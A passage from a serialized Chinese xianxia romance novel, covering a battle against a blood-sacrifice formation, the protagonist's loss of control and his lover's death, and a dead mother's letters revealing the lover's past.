“我知道这是不对的!不对……可——”云竹将这不堪的心思说得愈发小声,最后四个字几乎要听不清,而后又合眼平息情绪,莫名哀怨,“我只能在角落里默默地看着,看你们是这么默契,我……我什么也做不了。”
“你有的,你没有你想的那样……你知道我有多在意你吗?”慕沉被对方整得有些没脾气了,语无伦次。
“我不想出师。”云竹什么也听不进去,佯嗔薄怒,捎带着说不清的执拗。
“……不出师便不出师,一辈子这样也没什么不好的。”好一会儿,慕沉叹了口气,还是十分严肃,说,“别的暂时不提,云竹,你这次真的很过分。”
他觉得这些事还是得趁早说开。以云竹的性子,恐怕不说清楚就会在将来受到更为严重的反噬,到时候会是谁也担待不起的代价。
对方乍一听这莫名其妙的责备语气有些慌乱了神,欲挣脱出来同他解释,虽然不知要解释什么。慕沉不让,接着道:“你明明修为能力不弱,那些修士围攻之时,再不济也能躲开的,留下这么些伤口,是为什么?”
他语重心长道,“云竹,我是个正常人,我会心疼你,担忧你,可你这样,是想试探我什么?我会不舒服,会难过,会想知道你到底想要什么。我害怕别人伤害你,不喜欢你伤害自己……也担待不起你这样。”
他觉得他已经最委婉、却最直白地表达了。
“……”哪知云竹的唇角翘起,竟还发出了一声轻笑。
他不知云竹此刻真真是身心疲惫,笑声还拖了点尾音,带着释然洒脱。“先生,对不起。”
“……你还笑?你怎么好意思的。”虽看不见云竹脸上的神色,但声音他还是听得一清二楚。
“先生若是不想让我再做糊涂事,就要一辈子看住我……”云竹闭上眼睛,感受着他怀抱的真实。
“我当然会。”
他当然会看一辈子。
这“一辈子”,对于双方来说,都是极具诱惑力的。
43. 以人祭鬼门为生
暗道狭长,走了一会儿竟出现了一个大岔口,四通八达。慕沉根据鸿琛堂的方位,找到一条道。
云竹跟着他,说:“先生来此之前,我在这遇到了沈别宇和莫池开,他们同我一样被带到这,已经毁了多处的鸿琛堂,如今只剩府门关这处较为重要。或许先生曾经见过他们。”
慕沉想起当初在鸿琛堂经历的种种,点头回应。
“这些无归属的修士失踪却从未留下破绽,正是因为府门关大多门派与鸿琛堂串通一气,”云竹盯着其中一条岔路,转头提醒他道,“恐怕听泉宗也不例外。”
“这么说,何初要找的孩子可能有危险?”慕沉蹙眉,面露一丝担忧。
“……”云竹欲言又止,垂着眼帘,十分不想泼冷水,但还是实话实说,“鸿琛堂创下的诡阵,需要大量的人供于豢养,已经降低了入门的水准,无所不用其极……先生,最坏的结果是这孩子已经死了。”
这么悲观啊……慕沉下意识摸了摸对方的脑袋,苦笑着说:“要抱有一丝希望,任何人都会好运的。你我也是。”
“嗯,先生说的在理。”云竹低喃一句。
正要再说什么,便感觉头顶传出一阵响动,大概是有人在鸿琛堂引起了骚乱。慕沉猜测是何初的手笔。两人对视一眼,不谋而合地朝对面的出口奔去。
地面上早就乱成了一锅粥,何初为首,除此之外,让慕沉意想不到的是,不知消息是如何扩散,从前被讽刺却只是听之任之的人变了,府门关为数最多的修士集体发难鸿琛堂,牵动各大门派,根本抵挡不住这来势汹汹。
这哪里是曾经被门派瞧不起的散修,分明是沉寂的困兽,只等待一个时机,便能展现他们最真实的锋芒。当真是应了那句,勿以成败论英雄。
见慕沉和云竹从暗门内出来,有些散修还以为是鸿琛堂的人,不由分说就冲了上来。
慕沉刚要抵挡住不分敌友的攻击,有一人见状赶忙喝止:“别动手——这位阁下是好人!”
语毕,近在咫尺的武器蓦地收了回去。
慕沉看向帮他说话的那个人,并不相识,很是奇怪。
那人面带笑意走来,对他二人十分友善,解释道:“阁下先前在听泉宗门口的一番言论,我等一众修士自愧不如。如今幡然醒悟,全要感谢阁下。”
是当时围观人群的其中之一,但他们只是萍水相逢。
“不客气,我只是觉得憋屈,想争口气罢了。”慕沉淡然开口。
那人十分认同,疯狂点头:“是啊,如果连自己都看不起自己,那恐怕旁人更瞧不起了。阁下,可否有幸——”
“慕沉——”何初看见他的身影,大喊了一声,慕沉下意识转头,见何初在招手示意他们,他对那人说了句“抱歉,下次再聊”后,拉着云竹穿过人群。
余下那人赶忙答应,生怕耽误了慕沉,目光片刻不挪地看着他们的背影,若有所思。
与何初会合后,慕沉还没来得及跟对方说明孩子的事情,何初就先说:“是这样,我简单说一下,鸿琛堂一共设下三个阵,分别在东、南、北三个方位,沈别宇他们已经在北,你跟云竹去南,我去东,先把阵毁了,之后来中坛再跟你讲。”
“中坛在哪?”慕沉问。
电光石火之间,一束光线从他身后的丹鼎向天空发射,与其他三个方位汇在一块,强大的压力侵袭而来,众人难以支撑。明眼都知道阵成,已来不及阻止。竟是强行开了阵法!
“他娘的……”何初脱口而出,呆愣望着他身后的光束,“这里就是中坛。”
“……”
“……”
反应过来后,这才听目击者解释刚刚有个人跳进这个丹鼎里,把自己祭给了阵,他们都大为震撼。
“真是服了,到底什么人这么不要命!”何初骂骂咧咧,有些心累,不过马上调整好状态,道,“按刚刚说的,还是要去把阵毁了。”
事不宜迟,慕沉点头应下。
云竹抬头认真地说:“先生知道鸿琛堂诡阵的忌讳吗?它跟绝音阁的绝生阵很像,但又不完全一样。”
“我还真不太清楚,愿闻其详。”他本就云里雾里的,何初也来不及解释,正好身旁还有一个懂行的,就边走边听对方如何解惑。
云竹说:“最开始的阵法医治活人,他们便想着让死人起死回生,纂改阵符,应了其‘复生’之名。但没用,此阵是会反噬的。从前怎么治人,便要把从它这里得到的命数还给它,连本带利。单陔识与鸿琛堂的单长老本就是熟识,很容易就得其门道。”
“复生诡阵喜人血、人心魔,忌讳五行,据说确有‘活’死人的能力,这跟献祭没什么区别,只不过一百人祭出的是不是一个‘活死人’就很耐人寻味了。绝生阵就是单陔识根据这个修改的,喜人心魔,还会引导心魔诞生,他专门用来做‘傀儡’的,先生当时应该都看过。”
“你是说绝音阁里的人吗?”那些人被慕沉无端的失控解决了,云竹当时也说了,但无论如何对于他来说不是一段友好的回忆。
云竹点点头,“只是先生应当不知道,这些傀儡不像普通的提线木偶,它们……不是世间该有的东西。但这些都不是他想要的,是失败品。”云竹愈发没有底气,“绝生阵也有一个忌讳,就是……就是……”
慕沉第一时间便接受了绝音阁的复杂性,毕竟自己都莫名其妙地出现在这个世界,还能有什么事比这个更离谱?于是他追问道:“什么忌讳?”
“先生,如今鸿琛堂里的也许是绝生阵,”云竹似乎很笃定。他又觉得此时转移话题有些生硬了点,犹豫了几秒钟,支吾地欲回答慕沉刚刚的问题,“那个忌讳其实是——”
云竹的声音陡然停顿,因为他们不知不觉已经到头了。
鲜红的绳索在每个圆柱之间错综相接,围成一个台面,符箓随处贴在柱上、绳上、地面上,四周还躺着失去意识的人。遍地刺目的血红与过往重叠,云竹倏忽忆起了阴暗里不堪入目的画面,他表面上一副漠然的样子,只不过是强装镇定。当时他听到“炼体”、“阵法大促”就有种不好的预感,不想过早面对,这才留下来跟慕沉一同。他知道就是现在了。
慕沉暗自惊诧于眼前祭台的装潢,不曾经历过云竹经历的,自然没有惧意。他听对方的语气,察觉到云竹此时的心绪不宁。刚开始他是有些奇怪对方为什么支支吾吾,还想接着问下去,现在他大抵知道了为什么不能这么做。
“其实是,”云竹心跳鼓动得十分
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厉害,不安的情绪涌出,木讷地嘀咕了句,“我的血……”
慕沉现在根本不管云竹说的什么,走到云竹面前,双手轻轻环绕,坚定地握住对方的手臂,意图将对方的视线从那处剥离,目光聚集在他身上。他低沉醇厚的声音安慰道:“云竹,不要想,都过去了。”
云竹深吸一口气,强笑解释:“我没事的,先生放心。”
“云,竹——”一个不合时宜的声音出现,暗含着不怀好意。
慕沉转身警惕地看着声音传来的方向,将云竹挡在后头。人影的轮廓渐渐在暗红中显现,这张许久未见的脸,让他恍惚了一下。
“又是你?”慕沉眼角跳动,十分无语,虽然不知道为什么要说“又”。
“我喜欢看你惊讶的表情,这说明你们还没有完全信任到可以什么都不避谈的地步。”单陔识唇角上扬,歪着头,眼神穿过他盯着他身后的云竹,又稀奇古怪地喊了一声,“云竹——怎么,叫单缘不够好吗?”
“好不好的,你自己心里有数。”慕沉未被挑唆,驳道。
单陔识眯了眯眼,略感奇怪道:“你知道?不应该啊,以他的性子,怎么可能告诉你。”
慕沉转过一丝弧度,用余光瞥了眼云竹,对单陔识的态度可见一斑:“你装什么很了解他的样子?”
单陔识却是笑出了声,以为慕沉恼羞成怒,十分傲慢又有把握地说:“你才是不了解他的人,他从前什么模样,没有人会比我更清楚。如今当然也不会例外。单缘——不,是不是该叫你云竹?你现在是不是在想,你为什么不早点告诉他——”
后面是对云竹说的,不过还未说完,就被打断。
“……闭嘴。”云竹走到慕沉身边,几乎咬着字眼脱口而出,周身透着寒意,眼神能杀人的话,单陔识现在已经被千刀万剐了。
其实恼羞成怒的,应该是云竹。
慕沉从来没见过云竹这副模样,失态算不上,有点像生气了。云竹还没有对谁发过脾气,看来是真的忍不了这个单陔识。
他突然想起,从前在绝音阁的地牢里,他问过云竹,对单陔识是什么情感。
对方不假思索,是恨意。
除了单陔识对云竹做出那些不是正常人能干出来的事,他总觉得云竹的恨,不仅仅是因为这样。还有更隐秘的原因,云竹也许永远不会告诉他。
“哎……还真是翅膀硬了,”单陔识漫不经心地说,当然知道怎么戳云竹的心窝子。“名字是父母所起,怎么能说改就改呢?单缘,你是生是死,都别想与绝音阁脱开干系。玉牌肯定随身带着吧?拿来!”他不容置喙的目光盯着云竹的脸,闪过一丝阴狠。
原来搁这等着呢。慕沉也想知道这玉牌到底何用,让单陔识惦记了这么久,从不死心。
人总是充满对一切的好奇,慕沉也不例外。以前他选择尊重、选择避而不谈,将边界感做到极致,可斗转星移,慕沉对云竹的情感只增不减,他的窥探欲、占有欲日渐萌生,特别是单陔识突然出现,有些事情已经预想不到——凭什么单陔识知道云竹的一切,而他不能够知道?
他们两个冤家,难道要纠缠一辈子到死吗?慕沉从未有过如此坚定的想法,云竹只能是他的,只能注视着他。
44. 因果定宿命难挡
云竹眼眶红了一圈,莫名委屈地看着慕沉。似乎被单陔识的话刺激到了,他不想承认单陔识说的是对的,但又不得不承认,单陔识注定和他不死不休。那是他拼命逃离的地方,那是他最不想见到的人,他不想再回去了。
“先生,他欺负我。”云竹声音有些哽咽。
“云竹。”慕沉低喊了一声,眼神直视对方。黑眸中的幽邃,是慕沉一如往常的平静,以及内心被压下的千涛骇浪。若是换作莫闻村里的云竹,对方这番话定然是打趣,是调情——他当然知道现在不是开玩笑的时候,认真道:“别怕,云竹,我帮你。”
“好。”云竹深深地看了他一眼,心头不安的情绪减了几分,想起何初先前交代的事,兀自施法处理绝生阵一事。他将单陔识完全交给了慕沉来解决。
单陔识看穿了云竹在做什么,挑了挑眉,有恃无恐地说:“阵法已成,你现在就算破坏了也无济于事。”
话还未说完,单陔识便念诀施咒指向云竹。心口不一,看来还是在意的。他似乎是有备而来,目标也从来不是慕沉,总是想方设法靠近云竹。
慕沉自然不能让云竹受到干扰,挡在对方身前,剑一挑,拦住了单陔识的攻击。有过一次对付单陔识的经验,尽管隔了挺久的,不过慕沉还是稳如泰山,步步紧逼,不给对方任何可乘之机。
单陔识确认自己短时间内靠近不了云竹,便暂放想法,专心一意地对付他,有种速战速决的架势,倒像是当年的慕沉。“从前你便这般碍事,听我一句劝,别多管闲事,兴许我会放过你!”单陔识说着,作法挡下他的剑。
“那还是打吧。”慕沉懒得跟单陔识逞口舌之快,躲闪之余,又劈了几招。
“我倒是不知单缘这么会蛊惑人心智。”单陔识嘲讽似的说,“你当时才跟他见过多久?就这么上赶着跟他合伙与我对抗。说到底,这不过是我们的家事罢了!”
“……”
见他不答,单陔识还是不识时务地闭嘴,接着言语骚扰:“你到底为什么对他那么上心?难不成你们——”
怎么还八卦上了?他怎么不知道单陔识还是个话痨?
“嘶——”慕沉听他在旁边叽哩哗啦,不耐烦地使出剑诀击中了他,道,“你有完没完!”
打架的时候非得讲两句是不是?
单陔识自损八百,退至一丈开外。眼神一暗道:“不听?那你可要遭罪了。”
漫天符箓被强劲的气流肆意卷起,红雾渐浓,弥漫着一股肃杀之气,一瞬间便像是在绝音阁时的场景。慕沉在一片混乱中精准挥剑,他能感觉到单陔识比之前更加难缠,冷静地寻找一个破绽。
朦胧中,他瞥见有一人正不动声色地靠近云竹,欲图谋不轨。是状况之外的第四人。
云竹还在破阵,无暇分心,必须马上阻止那人!
他听见单陔识哼笑一声,估计是要趁他分神之时偷袭。但不管打的什么坏主意,先保住云竹再说,就算是陷阱他也认了。
哪知他刚靠近云竹半步之远,“云竹”便消失地无影无踪。
这是个幻影,而他不知什么时候就中幻术。
就在此时,一阵浑厚埙声悠扬传至耳边,慕沉一瞬间便察觉,这埙声跟当时在绝音阁听到的一模一样。他反应过来,之后就会失去理智,再之后,一切都不会受他控制了。
心中莫名的情绪已经开始翻涌叫嚣着,他得赶在此之前破坏埙或者单陔识,无论哪一个都好。
上次是没有防备才让单陔识钻了空子,这次应该还能再拖个一时半会。慕沉在脑中默念清心咒,剑锋在手掌划了一道口子,清醒了几分。
大雾浓密,根本难以观察,他没过多犹豫就以血为引,在空气中画了道符,默念一诀,强行把红雾驱散,所有瞬间无处遁形。
“咳……”这冲击力倒是不小。慕沉在浓雾消散的那一刻便朝单陔识冲了过去,目标是对方手中的埙。
一道玄术拦住了他——单陔识第一时间反应过来,警惕地有所防备——他错过了最佳时机。
施术者正是蓝栎。且不提蓝栎是如何摆脱云竹的法阵,此时他的出现让慕沉有些猝不及防,看到他与单陔识无声对视了一眼,漠然将矛头对准了慕沉。
慕沉停顿脚步,在单陔识两米开外站定,已经接受了这个事实。
他看着蓝栎冷漠的神色,以及单陔识得逞的嘴脸,感受着自己愈发强烈的失控感,心下一沉,想:完了。
要栽在这了。
……
慕沉的心魔从来没有根除过,除了先前那些漫无意义的情感,现在云竹亦留下了一点分量。
但他一直压得很好。他回想起,上次在绝音阁失控时,就是云竹唤醒了他。好像只要云竹一直在他身边,他就能一直控制住自己。是云竹做了什么。对方的掌心冰凉,给了他特别深刻的印象。
直到单陔识又活着出现在他的眼前。
单陔识并没有死,为什么?他明明亲眼看着对方……
消失。云竹在那次危急关头曾说过,单陔识是杀不死的。
为什么?慕沉根据自己的经历,更加大胆地猜测所有可能。单陔识似乎天生有这个能力般,催动起他的心魔,这
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也许是单陔识从一开始就计划好的,在他身上留下罪恶的源头——那团黑影究竟是什么?
他有时候真觉得单陔识就像打不死的小强。
这次的心魔来得莫名,在外人看来几乎没什么变化,殊不知慕沉早已失去了自己的意识。
慕沉,失控了。
他像是被困在了一个空间,而心魔在操纵着他,杀人了吗?
他闻到身上留下的浓重血腥味,紧接着又是一阵冰凉的触感,心头不断叫嚣着,最后不甘地归于沉寂……他感觉到云竹握住他的手。
“先生……先生……”他听见云竹非同寻常的微弱语气,像是嗓子里被什么给堵住了一样。
清醒后看见的是对方胸口处满是溢出的血液,怎么也止不住。
太突然了,像是单陔识蓄意已久的骗局。
慕沉瞬间便红了眼,呼吸一窒,就这么无助地将少年抱在怀里,按住伤口做着无用功,嘴唇颤抖着想说什么,却是一句话也说不出。
云竹呼吸也渐渐微弱,从前星光满盈的眼睛变得黯淡,最后沉寂为一滩死水,疲惫地瞑目……一句话都没留给他。
他眼眶泛红,泪液体止不住地溢流,最后眼看着怀中的少年渐渐沉睡,他的心也随之沉了下去。
哪怕告诉慕沉,他很痛苦,哪怕他怪自己,也总比一声不吭地让慕沉猜不透要来得轻松一点啊……
“云竹,云竹——”他声音低哑干涩,从未有过如此荒诞无措的念头,不死心地一遍一遍呼唤怀中的人,“……别装了好不好,他们已经走了,可以睁开眼了,云竹。”
“……”
没有应答。
“为什么?”慕沉悲极反笑,愈发抱紧怀中云竹,也不知能说与谁听。
他任由泪滴从颊旁滴落,喃喃道:“我不想丢下你。”
慕沉怎么也没想到,是他自己亲手杀死了心爱之人。可笑啊……未能护住对方,还谈什么一辈子。
从来没有这么害怕过一件事。人留下罪孽总是会不安的,慕沉也不例外,愧疚感和痛苦袭满全身,侵占了他全部的情愫,连心魔都已经无足轻重。
他第一次知道,“无能为力”这几个字眼,对一个人是多么的残忍,多么痛苦。
他选择带着这无尽的煎熬活下去,岁月里暗藏着尖锐的恨意,他誓要把单陔识杀了,不为什么。
可那是以后的事,他现在只想陪着云竹。
……
隐瞒是压不住的,它只会在沉默中爆发。
他们都深知这个道理,并在那天背负了巨大的代价。
45. 岂甘愿真心未了
何初在中坛等了许久也没等到慕沉云竹,觉得不对劲,可他们阵法又确实破坏了,想着是被鸿琛堂的人缠着脱不开身,便前去帮忙。
不料却看见一片狼藉的赤红,此间除了他,没有一个人是站着的。他心头一揪,焦急地在遍地躺着的人群中寻找,最后在靠近祭台的位置看到了他们,密不可分——云竹被抱在慕沉怀里,两个人身上的血状惨不忍睹。
何初预感不妙,费了些力气将两人分开,探了两人的鼻息。慕沉还有气,他放下了一半的心,然后探了探云竹的……他顿时眉毛紧锁,试探着喊了下慕沉。
慕沉他不愿意醒。
“别睡了,告诉我发生了什么?”何初有些急切地想知道。
慕沉被强迫性地拉着坐起身,落寞悲切地深吸一口气,双目无神,道:“我……害死了云竹。”
他不敢说“杀”这个字眼,不是怕让何初误会,是他怕自己细想后又陷入无止无尽的痛苦。
何初一愣,静默地看着他,眼底闪过一丝复杂。相比于从前沉稳有度,此刻慕沉已经算是相当失态了,不怪何初现在不知所措,实在是以往的慕沉表现得太优秀,以至于让人总觉得他没什么弱点。
何初好歹是他的亲人,见他这副模样也很不是滋味,也不知如何安慰,知道现在不论说什么都没用。
慕沉自嘲地摇了摇头,拿起地上的剑给何初,异常平静道:“要不你把我杀了?我也想体验一下死是什么感觉。”
“……”何初听出话里的关键,同时不留情面地驳斥,“你疯了?”说完,还警惕地盯着慕沉的动作,怕他自我了断。
空气中安静了半晌,两人干瞪眼看着,等了许久也不见何初接过剑,慕沉一把将手中的剑甩到一丈远,低垂着脑袋,心中愤懑。何初识趣地闭嘴,耐心地等他。
又过了一会儿。
“没有,我刚才是认真的。”他回答对方,胡乱抹了一把脸,伸出一只手道,“拉我一把。”
何初没犹豫地抓住他的手,施了点力气将他拉起。
慕沉瞅了眼自己的身上,有些狼狈。对何初说:“能不能帮我个忙。”
“嗯,你说。”
“找一块合适的地方,把云竹火化了,”慕沉拾起佩剑,抛给了对方,蹲下身将云竹抱起,认真道,“带着他的尸身不方便。”
何初人不生地熟的,办事效率就是快,当即在鸿琛堂强制征用了一块空地,没有人敢来围观凑热闹。他施了一个法阵,用于火化,只待慕沉把人放进去。
慕沉小心翼翼地把云竹放到阵中,轻轻地拨平云竹有些凌乱的头发,整理了衣襟。还是很体面的。
何初刚要凑近问他好了没有,骤然听见他说:“转过去。”
“啊?”何初不明所以,下意识叫了一声。
“你转过去。”慕沉又重复一遍。
“哦。”何初反应过来,马上转身背对着他们。懂了,要搞什么临别仪式不让人看是吧。
他没心思搭理何初的想法,从容不迫地在云竹额上烙下一吻。
漫天定格在这一瞬间,时光为他停留片刻。
末了,他不舍地分开,大步开迈地走出阵法,分明是永诀阔别之意,对何初道:“你来吧。”
何初叹了一口气,转过身便启阵。
慕沉没有回头,感受着身后火光肆意蔓延的温度,鼻尖有些酸涩。
对不起,云竹,他要保持清醒对抗单陔识,不能无时无刻陪你了。
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安息。
……
符门关现在已经尘埃落定了,鸿琛堂作出表率,掌门对符门关的散修纷纷给了说法,据说是何初的师傅鬼迷心窍,撺掇各个长老行不轨之事,现已伏诛。
听泉宗等派狼狈为奸,强行封门。
以及,蓝栎,是岚月。
“对了,你要找的那个孩子,现在怎么样?”
“他没事,岚月把他送到鸿琛堂就不管了,只是受了点惊吓。”
“哦,那就好。”慕沉心不在焉地回复,他比以往任何时候都要冷静,不断回忆祭台边的场景,不断揭开自己的伤疤。这样才有机会找到一点线索——云竹随身携带的玉牌,最后被单陔识拿走了,蓝栎从头到尾都是被对方操纵的人。
还有那些傀儡——‘它们不是世间该有的东西……’
单陔识能凭空臆造这些,是不是说明,他也是不该出现在世间的人?
“你接下来有什么打算吗?”何初问他,领来了一个孩子,怯生生的模样,躲在何初的背后偷看。谁知道何初当时费了多大的心思才让孩子不怕他。
何初无意识地摸着孩子的头,慕沉不经意地瞥了一眼,道:“单陔识不除,之后还不知道会出什么乱子。”
这次鸿琛堂所设绝生阵,就是单陔识残影教唆,最后阵法大成,唤醒他本体的第一件事就是找到云竹,他们之间似乎存在某种特殊的联系,单陔识总能找到对方。
“想好了?”
“嗯。”他淡淡地回答,“除此之外,我不知道我还能干什么。”
云竹的骨灰被凝缩成一小盒,放在衣襟里藏着。以及留下的那几根针,还有他一直不曾看过的云竹娘亲的手札。慕沉默不作声地揣了一下。
46. 尘封札新枝绝笔【其一】
吾儿单缘如鉴:
自从你的存在被我得知后,我便欣喜不已,日复一日期盼着你的降生之日。
那时我便想着为你取下一个好听的名字,思来想去,只觉得单缘实在相配。你是娘亲多年为善得来的缘分,是娘亲的福报。以为能看到你平平安安健健康康地长大,像路边玩耍的孩童那般无忧无虑,我便知足了。可他们告知我,你出生便夭折了,叫我怎么接受?
每每听到稚童的声音,我总是会忍不住想起你,若是你还在这个世界上,又会是怎样的一番光景。
那天我偶然发现暗牢,发现了你的存在。你瘦骨嶙峋的,身上还都是伤,年纪也不大,我只一眼就知道你是我的单缘。
却不知单梓瑜将我蒙在鼓里十四年,不敢想,你被关在暗牢里的十四年,是遭受的怎样的折磨。
娘亲无能,现在才发现单梓瑜的真面目,让你从出生起便开始受苦。娘亲生下你,却没有保护你,是娘亲的失职,你就算心里是怨恨,我也是认的。
单梓瑜如今被我识破,便索性不再伪装,开始囚我。
如今过失已无法挽回,娘亲的错误也无法弥补,只得寻找机会,将单梓瑜的玉牌封存,唯有五块信物能将其打开,信物里藏着娘亲的亲笔。
娘亲能做的仅剩这些了,
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只望娘亲结交的朋友能够尽早发现,带你脱离苦海。也相信以你的聪慧,能拯救自己。
单缘,从前我觉得这个名字寓意很好,很适合你,如今时过境迁,命运弄人,倒成了讽刺之意。娘亲盼你有朝一日换一个属于你自己的名字,不管寓意如何,开开心心就好。
听不到你唤我一声“娘亲”,是这辈子最大的遗憾。但我已不奢求,当你看到这封信之时,我恐怕已离开多年,也相信你已经远离这个是非之地。只希望你有朝一日能够知道,娘亲很爱你,并且一直很爱你,从来没有想过要放弃你。
愿你安好,吾以心安。
祝新枝
47. 尘封札新枝绝笔【其二】
筱蕙姐姐:
当你看到这封信时,我已不在人世。我彻夜冥想,唯有姐姐是我深信之人,然而心中放不下单缘,便请姐姐代为照看,我不胜感激。
单梓瑜欺瞒了我十四余载,将单缘关在暗牢折磨数久,我心中悲痛万分。单缘尚年幼,未享人间之乐便受尽人间之苦,其性子恐怕不能和常人并论,希望姐姐多加海涵,予以关怀。
我深知姐姐品德高尚,教子
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有方,而今我已无能为力,只盼姐姐不辞辛苦,加以教导。不求姐姐能终身关照于彼,惟愿抚育至其弱冠之年,我便心满意足,再无它求。
祝姐姐安好。
妹祝新枝
48. 尘封札新枝绝笔【其三】
忆及往昔,我与单梓瑜已相识近二十载,初见时为少年公子,其风度翩翩,眼中亦有野心抱负,是我颇为欣赏的才俊。而他对我亦有好感,情投意合。情当正浓之时我便请求父亲准许,指腹为婚。
我嫁与他之时,他已经小有名声,自立门户,创建了一个门派。却不曾想以“新枝”命名,足见单梓瑜对我的感情。新枝阁还未在江湖立稳脚跟,他每日奔波劳碌之余,皆是与我温存,未曾遗忘。而我亦会替他分忧,时刻惦记门派大小事务,尽分内之事。
数年来,我与单梓瑜相敬相爱,羡煞旁人。听闻我怀有身孕,欣喜不能,更是对我悉心照料。
正当我以为与他之间是夫妻一体,能白头偕老,却不料变数横生。
十月怀胎之辛苦,我拼尽全力生下的孩子,到头来以短命夭折结果,我连胎儿都未曾看一眼,便被轻信糊弄,自此郁郁寡欢。
也正是从这以后,单梓瑜对我的态度不如以往,我与他渐行渐远,却还要在外人面前表现得毫无破绽。我不知为何如此,他不像是因为孩子便对我这样,倒像是厌倦了逢场作戏。当我意识到之时,我突然感到一阵恶心。数十年的相处全是假意,可如今又偏偏不装模作样了,到底是为什么?
我终日不得其解,直至有一日,我被命运的指引走进了暗牢,看到了一个遍体鳞伤的孩子。我每每看到孩子就会忍不住想起单缘,此时离他“夭折”已过十四年,这个孩子消瘦,看不出年岁,可眉眼间和我有一些相似。直觉告诉我,单缘就是眼前的这个孩子。
暗牢诡谲,符纹阵法非同寻常,是单梓瑜私下的腌臜事,不知在研制什么诡道,在孩子的身上留下很多痕迹。
我心疼地帮这个孩子恢复了一点伤口,便不再多待。
我不清楚单梓瑜为什么要关一个孩子,还要折磨虐待他,无论是单缘与否,我都会去质问单梓瑜。
单梓瑜这个人渣,在我当面揭发之时,竟有恃无恐,直白承认了单缘的存在。
而我自此明白了他态度大变的原因:他从来只想要一个孩子,一个他的孩子,无论是谁帮他生都可以。
就因为这个荒诞的理由,我之前所有的付出都显得滑稽可悲。单梓瑜欺瞒了我十余年,亦折磨了我的孩子十余年,我忍无可忍。
从前有
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多爱他,如今就有多恨他。我计划在一晚夜里,趁他对我的戒心没那么重之时,一刀捅进心脉将他彻底解决。而我再三确认我做到了,但是他居然没死。我从未想过这件事会成为冲动下的行为,就算我再次成功,我有预感,单梓瑜还是不会死。
他不是正常人。或者说,他不是人。
如今他将我囚禁至后房,与我动辄打骂,相看两恨。
可他属实是太小瞧了我。我再不济也修行数年,只是从不施展而已。我已发现他最为重视之物,就是那块玉牌,今日我便要再次入暗牢,将其封存。短时间内他不可能发现,明日正巧五友相聚,单梓瑜还要我出面装腔作势,我要当着他的面把信物赠予友人,就算他反应过来,我也笃定他不敢当场撕破脸。他从未把我当回事,那我也没必要给他好脸色。
至于单梓瑜究竟是什么,我大概没机会知道,以及单缘,我的孩子,我对不起他。
这封信会伴随着玉牌一块,我希望有人再次打开之时,是单梓瑜被揭发之际。就算天不遂人愿,永远封存,我相信总有一天单梓瑜会得到应有的恶果。
年三五祝新枝绝笔
49. 听闻风光霁月楼
时过境迁,如今的鸿琛堂,倒没有总堂分部这一说。作为石边镇当地的名门正派,与百年前慕沉印象里的鸿琛堂似乎有所不同了。
何初是耳熟能详的清诡门掌门,加上他曾经的师门是鸿琛堂,江湖里几乎没有比他更出身高贵的人了。因此慕沉很容易就打听到了对方的去向,说是在霁月楼,被鸿琛堂的长老设宴邀请。
听起来倒不像是有什么棘手的难题。
霁月楼造得相当气派,是石边镇较为出名的建筑。不仅仅像普通酒楼一样,据说这里收容那些没了生计之人,但凡有手有脚,都能在楼里有个一席之地。当然有点能力的就更好了。在里面甚至可以听见唱曲弹乐的,不过人家是正经行当,卖艺不卖身。
慕沉单独进了间雅座,就在何初一行人的隔壁。
他传音道:“我在你隔壁,有什么事过来说。”
何初骤然收到传音,不由得顿住。随即很快反应过来,随便找了个借口就出了雅间。
何初坐他旁边,带点疑惑问道:“你怎么来了,不是让你打理清诡门吗?”
“嗯?”这话给慕沉问愣住了。“不是你说——”
他突然意识到不对劲。于是把那封“何初”寄的信拿出来给对方看。
何初接过后一目十行,眉头紧锁。
“我又被骗了。”慕沉小酌一口茶水,平静地接受了这个事实。
其实他早该看出来的。何初写信从来不长篇大论,都是用最简单的语言表达。他甚至能猜想到,何初会怎么说——我遇到麻烦了,速来石边镇。
何初放下信,眯着眼盯着慕沉,质问道:“你居然没认出这不是我的字迹?”
夺命提问。把他弄得有些心虚了。
慕沉面不改色地承认:“我当时确实是没注意。下次一定。”
“好吧。”何初拿得起放得下,不跟他计较。
“所以到底为什么你的字迹人人都仿得?难不成清诡门里出了内奸?”慕沉带着吐槽怀疑。
“怎么可能?”何初快速否定,不满地看着他,“你可以质疑我,但你不能质疑我择徒的眼光。”也是护短上了。
“好吧。”慕沉挑了挑眉,认可了他的能力。
比起这个,还是写这封信的目的更让人在意些。
“这边的事确实算是解决了,我不过触景生情,想多逗留几天罢了。谁知道把你给招来了。”何初顿了顿,“你是不是把门派的事务都交给司马锋了?”
“是又如何。我难道不能锻炼锻炼他吗?”慕沉理直气壮,这根本不是他会的技能,何初交给他真是瞎了眼了。
“不如何,我猜也猜到了。”对方无奈,“既然都来了,那也别闲着,我带你逛两天。”
“我看你是自己想逛吧。”慕沉毫不客气地戳穿了何初的借口。
“是又如何。”
“不如何。”
说话间,楼下传来一阵动静。声音不像是人与人之间的自然谈吐,倒像是来砸场子闹事的。
他们二人相视一眼,默契地起身出门朝楼下观望。
有几个看起来身手不凡的修士走到表演台周围站定,为首的男子纵身一跃,跳到了台上,声音十分洪亮道:“在下乃绝音阁护法尹平芜,诸位可知近日‘风荷举’一案?”
风荷举?何初在楼上听见这三个字时微妙地顿了一下。而慕沉听到“绝音阁”这几个字眼,不由得与多年前那个联想起来,顿时起了疑惑。
不待众人议论,男子接着道:“恕在下直言,将此案推脱至绝音阁,属实是捕风捉影了。”
“——因此,绝音阁今日不请自来,就是想让鸿琛堂给个说法。”
男子抬头朝楼上观望,目光直接锁定慕沉隔壁的雅间,看起来是早就打听好了鸿琛堂这些长老的去向。
在场的都知道,霁月楼有两个东家。一个从未谋面,十分神秘,另一个就是鸿琛堂了。当然这是慕沉来时打听到的。
想在霁月楼生事端,且不论那个从未出现过的东家,光是明面上背靠着的鸿琛堂,也得掂量一下能不能得罪得起。敢在鸿琛堂的地盘上公然对峙,也算是一种挑衅,绝音阁的人看样子也是有底气。
此话一出,雅间里的人自然是坐不住。一众长老夺门而出,其中一位看起来年纪较大的出面表示:“我鸿琛堂做事向来公秉,经查实风荷举乃你门派之人,并非推脱。尹护法还请告知你们掌门需得管人得当。”
尹护法冷笑一声,仿佛听到了什么笑话。“我掌门只告诉我们蒙了冤就该讨回去。”他随即对众部下使了眼色。
不知怎么的就打起来了。
鸿琛堂与绝音阁的众弟子各不相让,其他霁月楼的宾客纷纷避开了这个是非之地。
此时,楼里竟下起了箭雨。绝音阁难道不怕伤及无辜,受人诟病吗?真是疯了!
